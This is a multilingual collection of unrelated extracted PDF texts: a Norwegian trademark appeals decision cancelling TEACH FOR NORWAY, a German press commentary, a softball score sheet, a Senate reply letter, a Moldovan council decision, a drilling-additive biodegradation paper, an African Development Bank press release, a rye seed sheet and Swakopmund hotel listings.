nektet registrert har ikke noen innflytelse på eller betydning for at foreliggende merke ble akseptert. Det er sikker rett at tidligere administrative avgjørelser ikke kan legge føringer for senere inngitte søknader, da Patentstyret og Klagenemnda anvender et lovbundet skjønn. − Det vises for øvrig til tilsvar inngitt til Patentstyret under søknadsbehandlingen, hvor innklagede imøtegikk varemerkeloven § 14 andre ledd bokstav a som grunnlag for nektelse. Brevet for Patentstyret er ikke fremlagt av innklagede. 9 Klagenemnda skal uttale: 10 Klagenemnda er kommet til et annet resultat enn Patentstyret. 11 Det aktuelle varemerket er et ordmerke som består av teksten TEACH FOR NORWAY. 12 Klagers prinsipale og subsidiære anførsel er at merket er registrert i strid med varemerkeloven § 16 bokstav a jf. § 4 første ledd, og bokstav b. Klagenemnda vil imidlertid ta utgangspunkt i klagers atter subsidiære påstand om at ordmerket TEACH FOR NORWAY er beskrivende og mangler særpreg etter varemerkeloven § 14. 13 Varemerkeloven § 14 var ikke anført som grunnlag for opphevelse i innsigelsen som Patentstyret behandlet, men er et nytt grunnlag anført i klagen overfor Klagenemnda. For å ikke skape tvil om at partene har fått anledning til å uttale seg i saken om de aktuelle rettslige grunnlag for avgjørelse, fikk partene anledning til å uttale seg eksplisitt om varemerkeloven § 14. 14 I sine kommentarer har innklagede blant annet vist til sitt tilsvar inngitt til Patentstyret under søknadsbehandlingen. Klagenemnda viser til Klagenemndas retningslinjer (med hjemmel i forskrift til patentstyrelova), hvor det i § 3 fremgår at «Klagenemnda forholder seg til de dokumenter som fremmes i klagesaksbehandlingen» og at «tidligere sakskorrespondanse vil ikke automatisk bli innhentet fra Patentstyret». Klagenemnda ser ingen grunn til å fravike dette, tatt i betraktning at partene har blitt oppfordret til å kommentere varemerkeloven § 14. Anførsler som ikke konkret er fremsatt under behandlingen for Klagenemnda vil derfor ikke bli vektlagt. 15 I vurderingen av om ordsammenstillingen skal kunne registreres som et varemerke, må de alminnelige registreringsvilkårene etter varemerkeloven § 14 være oppfylt. I henhold til varemerkeloven § 14 andre ledd bokstav a, kan et varemerke ikke registreres dersom det utelukkende eller bare med uvesentlige endringer eller tillegg består av en angivelse som angir egenskaper ved varene. I tillegg må merket oppfylle kravet til særpreg, jf. vilkåret i varemerkeloven § 14 første ledd. 16 Høyesterett har uttalt i HR-2001-1049 GOD MORGON at ved tolkningen av varemerkeloven § 14 første og andre ledd skal det legges vekt på varemerkedirektivets (2008/95) ordlyd og formål, og på praksis fra EU-organene knyttet til direktivet, og til de tilsvarende bestemmelsene i varemerkeforordningen (207/2009). Dette er fulgt opp i HR-2016-1993-A PANGEA AS og HR-2016-2239-A ROUTE 66. 17 Det følger av fortalen til varemerkedirektivet punkt 11 at formålet med den rettsbeskyttelse som oppnås ved registrering av varemerker, bl.a. er å sikre varemerkets funksjon som en angivelse av varenes kommersielle opprinnelse. EU-domstolen har lagt særlig vekt på at varemerker skal være garantier for de merkede varers kommersielle opprinnelse overfor forbrukerne (garantifunksjonen), slik at forbrukerne, uten fare for forveksling, kan oppfatte forskjeller mellom varer fra forskjellige næringsdrivende, jf. EU-domstolens avgjørelser i sakene C-39/97 Canon og C-299/99 Philips/Remington. 18 Spørsmålet om et varemerke mangler særpreg eller er beskrivende, skal vurderes i relasjon til de varer eller tjenester merket er søkt registrert for, jf. EU-domstolens avgjørelse i sak C-273/05 P, Celltech, og i betraktning av hvordan gjennomsnittsforbrukeren av disse varer eller tjenester vil oppfatte merket. 19 Gjennomsnittsforbrukeren for varene og tjenestene i klasse 16, 35 og 41 i innklagedes merke, vil omfatte både private sluttbrukere, slik som studenter, og profesjonelle, slik som utdannelsesinstitusjoner. Gjennomsnittsforbrukeren må anses å være alminnelig opplyst, rimelig oppmerksom og velinformert, jf. sak C-210/96, Gut Springenheide. 20 Merket består av teksten TEACH FOR NORWAY som direkte kan oversettes til «undervis(e) for Norge» på norsk. Merketeksten består av alminnelig engelske ord som Klagenemnda legger til grunn at den norske gjennomsnittsforbrukeren vil være kjent med og oppfatte betydningen av. Merket omfatter varer og tjenester som i hovedsak er eller kan relateres til undervisning, slik som «undervisningsmateriell; lærebøker» i klasse 16, «reklame og salgsfremmende tjenester relatert til undervisning; lærerformidlingstjenester» i klasse 35 og «utdannelsestjenester; publisering via Internett av opplærings- og undervisningsmateriell» i klasse 41. 21 Etter Klagenemndas syn vil gjennomsnittsforbrukeren kun oppfatte TEACH FOR NORWAY som en angivelse av varenes og tjenestenes art, nemlig undervisning/opplæring, og at denne undervisningen er relatert til Norge/norsk, det være seg undervisning om Norge eller i det norske språk. Slik Klagenemnda ser det, er det de beskrivende elementene TEACH og NORWAY som gjennomsnittsforbrukeren vil feste seg ved og som uten videre vil gi et beskrivende meningsinnhold. Klagenemnda kan ikke se at preposisjonen FOR gjør merketeksten utydelig eller tvetydig på en slik måte at merket som helhet tilføres særpreg. Klagenemnda er således av den oppfatning at det foreligger en tilstrekkelig klar og direkte forbindelse mellom TEACH FOR NORWAY og de konkrete varene og tjenestene. Det vises til varemerkeloven § 14 andre ledd bokstav a. 22 For de aktuelle varene og tjenestene vil merket TEACH FOR NORWAY, på grunn av sitt rent beskrivende meningsinnhold, heller ikke være egnet til å skille innklagedes varer og tjenester fra andres. Gjennomsnittsforbrukeren vil ikke kunne utlede en bestemt kommersiell opprinnelse fra ordsammenstillingen, og merket vil derfor ikke oppfylle garantifunksjonen. Det henvises til varemerkeloven § 14 første ledd andre punktum. 23 Klagenemnda har ovenfor konkludert med at merket ikke er registrerbart etter varemerkeloven § 14. Klagenemnda ser derfor ikke at det er grunnlag for å vurdere partenes øvrige påstander ytterligere. 24 Klagenemnda har etter dette kommet til at innklagedes ordmerke TEACH FOR NORWAY er registrert i strid med varemerkeloven § 14 andre ledd, jf. første ledd. 25 På denne bakgrunn finner Klagenemnda at registreringen av ordmerket TEACH FOR NORWAY, registreringsnummer 283277, blir å oppheve, jf. § 14 første og andre ledd. Sak 17/00039 Det avsies slik Slutning 1 Klagen tas til følge. 2 Ordmerket TEACH FOR NORWAY, med registreringsnummer 283277, oppheves, jf. varemerkeloven § 14 første og andre ledd. Lill Anita Grimstad (sign.) Ulla Wennermark (sign.) Thomas Strand-Utne (sign.)
<urn:uuid:105bc12a-b773-44a7-b24f-beb54d9f8ff0>
HuggingFaceFW/finepdfs/tree/main/data/nob_Latn/train
finepdfs
nob_Latn
20,009
Kommentar Der Tanz der Skorpione Die Choreographie wurde vor zwanzig Jahren in Camp David ge- und zuletzt in Wye fortgeschrieben. Ob die Israelis mit Ägyptern, Palästinensern oder wie jetzt mit den Syrern in Shepherdstown tanzen – das Muster bleibt gleich. Im Prinzip, wiewohl im sehr groben, hat man sich schon vor dem Abmarsch in das Konklave geeinigt. Doch just deshalb wird dort mit aller Macht und Theatralik um die Einzelheiten gerungen als sei auch der kleinste Schritt mit dem Schicksal der ganzen Nation verknüpft. Choreographie, wonach Konzessionen nie dem Gegenüber, sondern dem großmächtigen Dritten gewährt werden. Dies hat, siehe Camp David, noch einen sehr handfesten Vorteil: amerikanische Milliarden, die beiden das Nachgeben versüßen sollen. In Shepherdstown, Virginia drohten die Verhandlungen schon gleich am Anfang zu platzen, weil sich die Israelis und Syrer nicht einmal auf die Reihenfolge der Tagesordnungspunkte einigen konnten. Also musste wie seit eh und je der amerikanische Präsident eingreifen. Viermal war Bill Clinton seit Wochenbeginn schon da, getreulich der klassischen So wird es auch in Shepherdstown ff. sein. Vorläufig weigern sich die Syrer gar, ohne US-Präsenz in einem Zimmer mit den Israelis zu sitzen, meldet die israelische Ha'aretz. Man darf also annehmen, dass noch so manche Unterbrechungen (mitsamt theatralischen Ausbrüchen) die Gespräche in die Länge ziehen werden. Unwahrscheinlich aber ist der Abbruch. Der syrische Diktator Assad, der Letzte im Friedensballett, findet zwar die Langsamkeit ganz erträglich, aber seine Lebenszeit läuft aus. Und die Amtszeit Clintons auch, weshalb allen dreien nur noch zehn Monate bleiben. jj SZdigital Alle Rechte vorbehalten – Süddeutsche Zeitung GmbH, München SZdigital: Alle Rechte vorbehalten - Süddeutsche Zeitung GmbH, München Eine Dienstleistung der DIZ München GmbH Jegliche Veröffentlichung exklusiv über www.sz-content.de A9761916 A009.761.916 SVRA016
<urn:uuid:56030cc2-aee7-44d0-a1f9-d02a99643622>
HuggingFaceFW/finepdfs/tree/main/data/deu_Latn/train
finepdfs
deu_Latn
1,962
Times Score 8:00 9:30 11:00 12:30 2:00 3:30 5:00 6:30 8:00 9:30 Fresno Regional Complex Times Score Field 6 Score Information and Updates can be found at 8:00 8 9:30 11:00 12:30 2:00 3:30 5:00 6:30 8:00 15 10 12 4 13 17 X X 1406 vs 1407 1607 vs 1608 1410 vs 1411 1402 vs 1403 1414 vs 1415 1606 vs 1607 1603 vs 1604 NO GAME 9 6 3 2 13 1 0 X NO GAME X www.nsacal.com NSA Gate Fees Apply: $5-Adults,$3-Students and Seniors, Players and (3) Coaches Free! City Parking Fee $5 a Car Gates open at 7:00 am. NO DOGS ALLOWED IN PARK! NO scooters, skateboards or bikes in park! Tournament Director: Mark Maciel 559-474-2408 Tournament UIC : Ashley Thiner 209-338-4403 Fresno Get Ready for State June 29 - 30, 2019 Score 1 5 9 2 6 0 5 X X X Seed 4G 2S 5S 5G 7G 6S 2G 6G 4S 1S 3G 3S 1G Total 5 7 21 31 5 7 13 38 9 22 11 25 16 19 10 17 3 Team 1613* pulled game 3 The 16U's list in red are 18U's which will be broken out from the 16's for Sunday Brackets ALL TEAMS MUST TURN IN A NEW COPY OF INSURANCE AND HAVE A 2019 SANCTION NUMBER Information and Updates can be found at www.nsacal.com Any questions on scores or seeding please contact: Jose Barraza 559-213-2733 Seed 2G 5G 3G 6G 7G 8G 1G Total 9 25 41 7 15 27 26 38 15 24 38 16 30 20 4 18 Any questions on scores or seeding please contact: Jose Barraza 559-213-2733 ALL TEAMS MUST TURN IN A NEW COPY OF INSURANCE AND HAVE A 2019 SANCTION NUMBER Information and Updates can be found at www.nsacal.com
<urn:uuid:170ed3cb-850f-4a69-afe9-0727a420d321>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
1,576
, 1965 Dear : Thank you for your recent communication expressing opposition to the announced intent of the Post Office Department to require the use of ZIP coding and pre-sorting of second and third class mail. There has been quite a substantial amount of mail on this and I have been in touch with postal representatives regarding their position in the matter. The enclosed copy of a letter from the Assistant Postmaster General, Bureau of Operations, is in response to my inquiry and presents general background information in explanation of the Department's proposals. I am also enclosing a copy of H.R. 5180 and assure you of my most careful and thoughtful consideration of its provisions at such time as it may come on in the Senate for action. Sincerely, Everett McKinley Dirksen Two (2) enclosures
<urn:uuid:a4c91a7a-541a-41e3-81cf-fde22a0cd74f>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
810
DECIZIE NR. 6/19 Din 10 decembrie 2021 or. Drochia Cu privire la Programul de activitate al Consiliului raional Drochia pe semestru I al anului 2022 Potrivit propunerilor Aparatului preşedintelui raionului, direcţiilor, secţiilor şi serviciilor Consiliului raional, în conformitate cu prevederile art. 15 din Legea nr. 239/2008 privind transparenţa în procesul decizional, art. 13 alin. (1), 18 alin. (2) din Legea nr. 317/2003 privind actele normative ale Guvernului şi ale altor autorităţi ale administraţiei publice centrale şi locale, art.art. 43 alin. (1) lit. j), 46 alin. (1) din Legea nr. 436/2006, privind administraţia publică locală, cu modificările și completările ulterioare, Regulamentul privind constituirea şi funcţionarea Consiliului raional, Consiliul raional Drochia DECIDE: 1. Se aprobă Programul de activitate al Consiliului raional Drochia pe semestrul I al anului 2022 (se anexează). 2. Aparatul preşedintelui raionului (Alexei Vasilean), şefii direcţiilor, secţiilor şi serviciilor Consiliului raional vor asigura executarea Programului nominalizat. 3. Prezenta decizie se publică în Registrul de Stat a actelor locale și pe site-ul Consiliului raional Drochia, se aduce la cunoştinţa părţilor interesate și este valabilă pînă la 01.07.2022. Inițiator: Președintele raionului Drochia Alexei VASILEAN Avizează: Secretarul Consiliului raional Drochia Oxana GRIGORIȚA Anexă la decizia Consiliului raional nr. 6/19 din 10 decembrie 2021 PROGRAMUL de activitate al Consiliului raional Drochia pe semestrul I al anului 2022 II. Activităţi organizatorice raionale NOTĂ INFORMATIVĂ la proiectul de decizie „Cu privire la Programul de activitate al Consiliului raional Drochia pe semestru I al anului 2022" 1. Denumirea autorului și, după caz, a participanților la elaborarea proiectului Secretarul Consiliului raional, președintele raionului. 2. Condițiile ce au impus elaborarea proiectului de act normativ și finalității urmărite Programul de activitate a Consiliului raional Drochia pentru anul 2022, reprezintă documentul elaborat întru realizarea art. 7 alin. (1), lit. a) din Legea nr. 2192008 privind transparența în procesul decizional, în care se stabilește ca obligație a autorității publice „desemnarea informației referitoare la programele (planurile) simestriale de activitate prinplasarea acestora pe pagina web oficială a autorității publice". Finalitățile urmărite prin adoptarea acestui respectiv constau în crearea posibilității ca în baza Programului aprobat să se eleboreze programul simestrial de elaborare a proiectelor de decizii, care la fel va fi publicat pe pagina oficială a Consiliului raional și în scopul bunei organizări a activității Consiliului raional și stabilirii unor probleme prioritate pentru examinare în ședințe. 3. Principalele prevederi ale proiectului și evidențierea elementelor noi. Proiectul deciziei „Cu privire la Programul de activitate al Consiliului raional Drochia pe semestru I al anului 2022" conține și anexă, în care se indică activitățile preconizate: 2 ședințe ordinare, termenele de prezentare a proiectelor de decizii, examinarea proiectelor în cadrul ședințelor comisiiloe de specialitate ale Consiliului raional. 4. Fundamentarea economico-financiară Cheltuielile pentru implementarea prezentului proiect de decizie se va încadra în limita mijloacelor financiare planificate în bugetul raional. 5. Modul de încorporare a actului în cadrul normativ în vigoare. Proiectul se încorporează în sistemul actelor normative și nu va necesita abrogarea altor decizii. 6. Avizarea și consultarea publică a proiectului. În baza celor expuse și în conformitate cu art. 32 din Legea nr. 100/2017 cu privire la actele normative, proiectul de decizie „Cu privire la Programul de activitate al Consiliului raional Drochia pe semestru I al anului 2022" a fost avizat de către Secția juridică, vicepreședinții raionului, Direcția finanțe, Direcția educație, Direcția cultură, turism, tineret și sport, secretarul Consiliului raional. În scopul respectării prevederilor Legii nr. 239/2008 privind transparența procesului decizional, proiectul de decizie este plasat pe pagina web oficială a Consiliului raional www.drochia md. 7. Condițiile expertizei anticorupție. În temeiul art. 35 din Legea nr.100/2017 cu privire la actele normative, art. 28 alin.(3) din Legea nr. 82/2017, proiectul deciziei a fost supus expertizei anticorupție de către autor. Proiectul de decizie corespunde normelor juridice și exclude orice element care ar favoriza corupția. 8. Constatările expertizei juridice. În temeiul art. 37 din Legea nr. 100/2017 cu privire la actele normative a fost expus expertizei juridice de către Secția juridică din cadrul Aparatului președintelui raionului. Structura și conținutul actului corespundd normelor de tehnică ligislativă. Proiectul de decizie se prezintă comisiilor consultative de specialitate pentru avizare și se propune Consiliului raional pentru examinare și adoptare în ședință. Secretarul Consiliului raional Drochia Oxana GRIGORIȚA
<urn:uuid:7bf82e95-2fe0-4c90-9034-e6729c19df63>
HuggingFaceFW/finepdfs/tree/main/data/ron_Latn/train
finepdfs
ron_Latn
5,149
RESULTS OF BIOSTABILITY TESTING OF SOME POLYMERIC ADDITIVES IN THE DRILLING WATER 1 G.G. Yagafarova, V.B. Barakhnina, E.G. Il'ina, I.R. Yagafarov Ufa State Petroleum Technological University The purpose of the research is the biostability estimation of some drilling additives on basis of polyacrylamide, starch reagents and carboxymethylcellulose modification pertaining to association of microorganisms Rh. erythropolis VKM АС-1339D and Fusarium sp. no. 56. The more biostable from researched drilling additives for this microorganisms is the drilling additives on basis of polyacrylamide: sypan, DKS-extender, dk-drill. Choosing the right organic additive to the drilling water as to protect the environment we should take into consideration its experimental data of the biostability. INTRODUCTION One of the main problems in gas and petroleum well construction is the pollution of the environment in drilling by the special materials and chemicals with different toxicity level. The hard removed component of drilling waste is organic compound with wide range of chemical reagents. The overwhelming majority of these compounds are gel-forming organic with the expressed stabilizing effect, that in combination with colloidal constituent mineral part of the suspension particles (the clay fraction) gives the high aggregate stability to the drilling waste. Such stabilized colloidal – dispersed systems are less sensitive to physicochemical action. The great energy resources are required to destabilize these systems [1, 2, 3, 4]. However, these additives are ecologically dangerous. Choosing the right organic additive to the drilling water we should take into consideration its biostability, just to protect the environment. The purpose of the research is the biostability estimation of some drilling additives on basis of polyacrylamide (sypan, DKS-extender, dk-drill), starch reagents (ActiVator I, Aphronizer B, corn starch, fito-R starch and Gabroza EHV) and carboxymethylcellulose (CMC) modification (CMC-Selpol-SL, CMC-Selpol-RX and CMC-Finfix) pertaining to association of microorganisms Rh. erythropolis АС-1339 D and Fusarium sp. no. 56. These three modifications CMC (CMC-Selpol-SL, CMC-Selpol-RX and CMCFinfix) are white-coloured, slowly water-soluble substances that are forming the viscous colloidal solution. Reprinted from "Intellectual Service for Oil & Gas Industry: Analysis, Solution, Perspectives", 1 Vol. IV, 2006. The corn starch is the yellow-coloured, slowly cold water-soluble powder that is forming the viscous colloidal solution. Fito-R starch and Gabroza EHV reagent are white-colored powders. Differ from the corn starch by high solubility in cold water. The ActiVator I is modified starch with specific gravity 3,5-3,6 g/cm 3 . The ActiVator I is used for improvement of structured stability of drilling solution APHRON ICS TM and warning the reduction to viscosity under low velocities of shift in consequence of termal decomposition. The Aphronizer B is accompanying starched polymer with specific gravity 0,61-0,67 g/cm 3 . The Aphronizer B is used in drilling solutions APHRON ICS TM for stability an aphrons. The ActiVator I and the Aphronizer B is very hygroscopic [5]. The sypan - the polymer is consists of polyacrelate of sodium, the effective fluid loss reducing agent and the solution stabilizer. The dk-drill is hydrolytic polyacrelamide (PAA) with molecular weight 110 a.u. The DKS-extender is hydrolytic polyacrelamide (PAA) with molecular weight 180 а. u., so the level of hydrolysis is 20-30 %. In amount of 0,002-0,005 are used as flocculating agent; 0,03-0,05 % gives the apparent viscosity properties to the whole solution; 0,30,5 % - as the fluid loss reducing agent and the stabilizer. The active association of the destructors of petroleum and its products Rhodococcus erythropolis VKM AС-1339D+Fusarium sp. no. 56 [5] were used as the objects of the research. It is known, that the given association of microorganisms is effectively destructs petroleum, its products and various drilling reagents, such as PAA, condensed sulphide spirituous distillery refuse, CMC-300 [3, 4, 6]. MATERIALS AND METHODS The research works were held in the mineral medium containing 2.0 g/l NaNO3, 1.0 g/l K2HPO4, 0.013 g/l MnSO4, 0.5 g/l MgSO4·7H2O, 0.002 g/l ZnSO4, 0.001 g/l Fe2(SO4)3; and a pH range of 6,7-7,0 [7]. The drilling reagent in amount of 1.0 % was the only added source of carbon and energy. There was added the 10% solution of CMC, made by the solution of CMC in hot distilled water. The starch reagents were put in dry condition into the mineral medium. The bacteria Rh. erythropolis VKM AC-1339 D and Fusarium sp. no. 56 in amount of 1.5% were added to the testing reagents for the biodegradation. The cultivation was held in swing flask on the thermostatting rocking-chair during 8 hours per day. Temperature was 30 0 С, speed of rotation was 100 min -1 . These flasks were in a thermostat during 16 hours per day. The control flasks were those with the mineral medium, containing the drilling additives, not subcultured by the bacteria. The decreasing amount of the starch shows the biodegradation degree of the polymeric additives. The amount of starch was being determined by famous methodusing of the Feling's solution after hydrolytic decomposition of the residual starch [6]. The amount of sypan, dk-drill and DKS-extender was being determined by a known gravimetric method [7]. RESULTS The biodegradation degree of the researched reagents by associated bacteria Rh. erythropolis VKM AC-1339 D and Fusarium sp. no. 56 in liquid mineral medium is shown in the fig. 1 – 3. DISCUSSION According the results as indicated above (see fig.1), the biostability of researched CMC modifications have the following consecution: Selpol-RX CMCFinfix CMC-Selpol-SL. For example, at initial concentration 0,3 % the biodegradation degree of CMC-Selpol-SL by associated microorganisms Rh. Erythropolis VKM AC-1339 D and Fusarium sp. no. 56 made 96,8 % on 8 days., that on 4,8 % higher the biodegradation degrees CMC-Finfix and on 12,2 % - higher of CMC-Selpol-RX (fig. 1 - 3). Figure 3. The biodegradation of the drilling reagents on base of nitrogen-containing polymers The comparison behavior of the change boistability CMC modifications with its degree of polymerization shows that the biodegradation of CMC by microorganism Rh. erythropolis VKM AC-1339 D and Fusarium sp.56 are in the inverse negative relationship from its degree of polymerization. During 10 days the biodegradation degree for low-viscosity CMC- Selpol-SL (SP=258) - 94,0% was the highest, for the medium - viscosity CMC-Finfix(SP=424) – 92,0% was the medium and the lowest for the high-viscosity CMC- Selpol-RX (SP=788) - 88,6%. The most biostable starch reagent was Gabroza EHV. According to the results of the research of the polyacrylamide drilling additives the more stable is sypan that is not formed by hydrolytic polyacrelamide, as in case of dk-drill and DKS-extender, but is formed by polyacrelate of sodium. CONCLUSIONS Thus, the polyacrylamide drilling additives of starch and CMC modifications are destructed by the microorganisms Rh. erythropolis VKM AC-133D and Fusarium sp. 56. And the more biostable from researched CMC modifications (CMC-Selpol-SL, CMCSelpol-RX и CMC-Finfix) for the microorganisms Rh. erythropolis VKM AC-133 D and Fusarium sp. no. 56 is CMC-Selpol-RX. The biostable starch reagent (corn starch, fito-R starch and Gabroza EHV) is Gabroza EHV. Choosing the right organic additive to the drilling water as to protect the environment we should take into consideration its experimental data of the biostability of starch reagents and CMC modifications. REFERENCES 1. Bulatov A.I., Makarchenko P.P., Shemetov V.U. The environmental protection in gas and petroleum industry. - M. Nedra, 1997.- 483 p. 2. Yagafarova G.G., Skvorcova I.N. RF Inventors Certificate no. №1805097 Culture Rhodococcus erythropolis АС – 1339D, used for clearing water and soil from petroleum //Byull. Izobret., 1993, no. 12, pp. 52-61. 3. Yagafarova G.G. The ecological biotechnology in gas-and-oil producing and petroleum refining industry. – Ufa.: USPTU, 2001.- 214 p. 4. Gataullina E.M. The biotechnological method of clearing drilling waste from petroleum and polymeric reagents: Ph. D. thesis, candidate of biological science. – St. Peterburg: St. Peterburg's Technological University, 1996. – 211p. 5. Gorodnov V.D., Teslenko V.N., Timokhin I.M. The clay analysis and new the compositions of clay solutions. - M.: Nedra, 1975.- 272 p. 6. The microbiological practical work/ Edited by Egorova N.S.-M.: Moscow University, 1976. – 307 p. 7. Lur'e U.U. The unified methods of the water analysis. - M.: Chemistry, 1973. – 376p. 8. Rogers V.F. The structure and the properties of washover liquids for drilling oil wells. - M.: Nedra, 1967. - 600 p. 9. The technology of drilling the deep oil wells./ Edited by the professor M.R. Movlutov. - M.: Nedra, 1982. - 287 p.
<urn:uuid:71a13bd7-7ccf-4833-9ca7-2a87bd77a5aa>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
9,120
Communiqué de presse Pour diffusion immédiate La Banque africaine de développement organise le tout premier dialogue panafricain sur la réalisation des objectifs en matière d'adaptation et d'atténuation des changements climatiques ABIDJAN, Côte d'Ivoire 15 mai 2019 - Alors que l'Afrique jouit d'un développement économique sans précédent et d'une forte croissance démographique et urbaine, de grandes parties du continent sont également très vulnérables et font déjà face aux conséquences dramatiques du changement climatique. Les collectivités territoriales, la société civile et les jeunes se font de plus en plus entendre et demandent plus d'engagement à tous les niveaux pour lutter contre le changement climatique. Cela fait de l'Afrique un acteur clé du défi mondial visant à atteindre les objectifs fixés dans l'Accord de Paris consistant à réduire les émissions de gaz à effet de serre (GES). Sur tout le continent, les villes et les autorités locales sont en action . La toute première conférence d'échange et de coopération entre autorités nationales et locales africaines sur les problèmes climatiques et la décentralisation des contributions déterminées au niveau national (CDN) a été lancée aujourd'hui à Abidjan, en Côte d'Ivoire. Les ministres, maires et dirigeants de municipalités africaines exploreront les possibilités de coopération et d'assistance mutuelle lors d'une conférence sur le « Dialogue structuré » organisée par la task force climat de Cités et Gouvernements Locaux Unis d'Afrique (CGLU Afrique) en partenariat avec la Banque Africaine de Développement (BAD). La réunion de deux jours au siège de la Banque, du 15 au 16 mai 2019, réuni les présidents des associations de gouvernements locaux et des partenaires techniques et financiers. «La Banque africaine de développement est déterminée à aider les pays africains à mettre en œuvre leur CDN par l'intermédiaire de son Africa NDC Hub», a déclaré Anthony Nyong, Directeur pour le Changement climatique et la croissance verte à la Banque africaine de développement. «Nous sommes ravis d'organiser cette conférence qui rassemble les acteurs clés aux niveaux central et territorial afin de s'entendre sur la décentralisation des CDN. » Les partenaires de la task force climat de CGLU Afrique, tels que la Convention des maires en Afrique subsaharienne (CoM SSA), la Convention des maires pour le climat et l'énergie (GCoM) et les Collectivités locales pour le développement durable en Afrique (ICLEI Africa), qui conjointement avec la Banque africaine de développement souhaitent accroitre leur soutien climatique aux villes africaines. Le premier Dialogue Structuré explorera des possibilités concrètes d'améliorer la gouvernance à plusieurs niveaux, en mettant un accent particulier sur le développement inclusif et participatif des pays, villes et régions d'Afrique afin de gérer les risques liés au changement climatique tout en ouvrant de nouvelles opportunités d'investissement. Reconnaissant que le changement climatique ralentit les efforts déployés par l'Afrique pour atteindre les Objectifs de développement durable (ODD) nécessaires pour relever les défis mondiaux tels que la pauvreté, les inégalités et la dégradation de l'environnement, et conformément aux objectifs fixés dans le cadre des CDN, la Convention des maires en Afrique subsaharienne (CoM SSA) financée par la Commission européenne s'est également engagée à fournir un soutien technique aux villes et municipalités africaines afin d'élaborer et de mettre en œuvre des actions axées sur l'accès à l'énergie propre, l'atténuation du changement climatique et l'adaptation à celui-ci. À cette occasion, la Convention des Maires (GCoM) a désigné le maire d'Accra, Mohammed Adjei Sowah qui rejoindra son Conseil d'administration, reflétant l'implication des villes africaines au niveau mondial et la promotion de la collaboration en matière de recherche, d'innovation et d'investissement entre les collectivités locales, les gouvernements nationaux, les universités et le secteur privé par le biais de la Convention des Maires (GCoM) et à l'échelle régionale par le biais de la Convention des Maires en Afrique subsaharienne (CoM SSA). «C'est un véritable honneur que de faire partie du Conseil d'administration de la Convention des Maires et de siéger avec des pairs du monde entier. Le lien direct que nous, les maires, avons avec nos citoyens et l'impact que les villes peuvent avoir sur la vie quotidienne des habitants en font l'un des niveaux d'action les plus pertinents pour lutter contre le changement climatique », a déclaré Mohammed Adjei Sowah, Maire d'Accra. « Ce qui fait la différence est la vision que nous portons en tant que Maires, mais également le soutien et la collaboration que les villes et les municipalités peuvent apporter à des discussions telles que le Dialogue structuré avec la BAD. Cette vision est au cœur de l'action pour le climat et nous devrions nous efforcer de l'amplifier à Abidjan et au-delà, à l'ensemble de la région de l'Afrique subsaharienne », a-t-il ajouté. Contacts médias: Banque africaine de développement, Amba Mpoke-Bigg, Département de la communication et des relations extérieures, courriel: email@example.com, tél.: +225 57 25 77 00 CGLU Afrique, Em Ekong, Directrice de la communication, e-mail: firstname.lastname@example.org, tel: +44 7801 701 675 Convention des Maires en Afrique subsaharienne, Jude Fuhnwi, courriel: email@example.com, tél.: +233 54 450 6505 Convention mondiale des maires sur le climat et l'énergie (GCoM) : Brett Kobie, Conseiller spécial pour la communication, Convention mondiale des maires sur le climat et l'énergie, courriel: firstname.lastname@example.org, tél.: +32 476 97 46 30
<urn:uuid:0a90656b-1623-421c-9fc9-4b1d81df6a30>
HuggingFaceFW/finepdfs/tree/main/data/fra_Latn/train
finepdfs
fra_Latn
5,738
POWERGREEN Seigle d'hiver Fourrager Zone de culture Le seigle fourrager plus résistant à la verse Rendement très élevé en matière sèche et cycle court Valorisable en couvert, en fourrage et en méthanisation POWERGREEN est un seigle fourrager d'hiver qui se distingue par son excellent potentiel de rendement en biomasse, couplé à une haute teneur en protéines et à une tolérance à la verse supérieure à la moyenne. Ce dernier critère sera particulièrement intéressant pour permettre des valorisations tardives en bonnes conditions. Caractéristiques du seigle fourrager d'hiver : Le fort développement végétatif et le cycle court du seigle fourrager d'hiver assurent une production de biomasse très importante dès la sortie de l'hiver, avec un optimal de production à prévoir sur avril ou mai en fonction des conditions pédo-climatiques. Le seigle fourrager permet donc de libérer les sols tôt au printemps pour optimiser les conditions de semis de la culture suivante. Bénéficiant d'un excellent comportement au froid et aux maladies, peu exigeant en eau et en azote, la conduite culturale du seigle fourrager est extrêmement simple et nécessite peu d'interventions au champ. Enfin, il est à noter que son fort développement racinaire assure une lutte efficace contre l'érosion des sols et limite l'assèchement des premiers horizons du sol, notamment en comparaison d'un ray-grass. POWERGREEN Seigle d'hiver Fourrager Rendement potentiel matière sèche (T / MS / ha) 10-15 Teneur matière sèche (%) 25 à 35 Potentiel méthanogène (Nm 3 CH 4 / ha) 2500 à 3500 Très tardif - Sensible -
<urn:uuid:d2329564-f37c-473a-a3e3-8be1cb15d443>
HuggingFaceFW/finepdfs/tree/main/data/fra_Latn/train
finepdfs
fra_Latn
1,612
Swakopmund und Umgebung Beach Hotel Swakopmund Swakopmund Tolles Stadthotel in einmaliger Lage mit gutem Preis-/Leistungsverhältnis. Lage: Direkt am Meer in ruhiger Gegend, nur wenige Gehminuten zum Zentrum von Swakopmund. Hotel: Moderner Baustil, viel Glas und klassische Einrichtung erwarten Sie. Von der Dachterrasse mit Pool und Sonnenliegen haben Sie einen unbeschreiblichen Rundblick über das Meer, Swakopmund und die Dünen. Desweiteren verfügt das Hotel über eine Lounge mit Sundowner-Bar und Gästecomputer, WLAN, À la carte Restaurant mit Terrasse, Massage-Service und einen Fitnessraum. Ein sicherer Parkplatz ist vorhanden. Unterkunft: 33 helle und großzügige Zimmer und Apartments. 4 Standardzimmer mit Blick über die Stadt und die Dünen und 16 Meerblick-Zimmer je mit eigenem Bad, Klimaanlage/Heizung, Tee-/Kaffeezubereiter, Safe, Minibar, Telefon, TV, kostenlosem WLAN und Balkon. 5 Familienzimmer mit 2 Schlaf- und einem Badezimmer und Meerblick; 3 Komfort-Apartments mit 2 Schlaf- und ­Badezimmern, Küche und Wohnzimmer. Die Sahnestücke sind die 5 geräumigen Luxus-Apartments für max. 2 Personen, ein großes Wohnzimmer mit offener Einbauküche sowie Balkon mit atemberaubendem Ausblick laden zum verweilen und entspannen ein. Central Guesthouse Superior Gästehaus, Swakopmund Luxuriöse Unterkunft mit persönlicher Atmosphäre im Herzen Swakopmunds. Lage: In einer ruhigen Seitenstraße im Wohnviertel von Swakopmund, 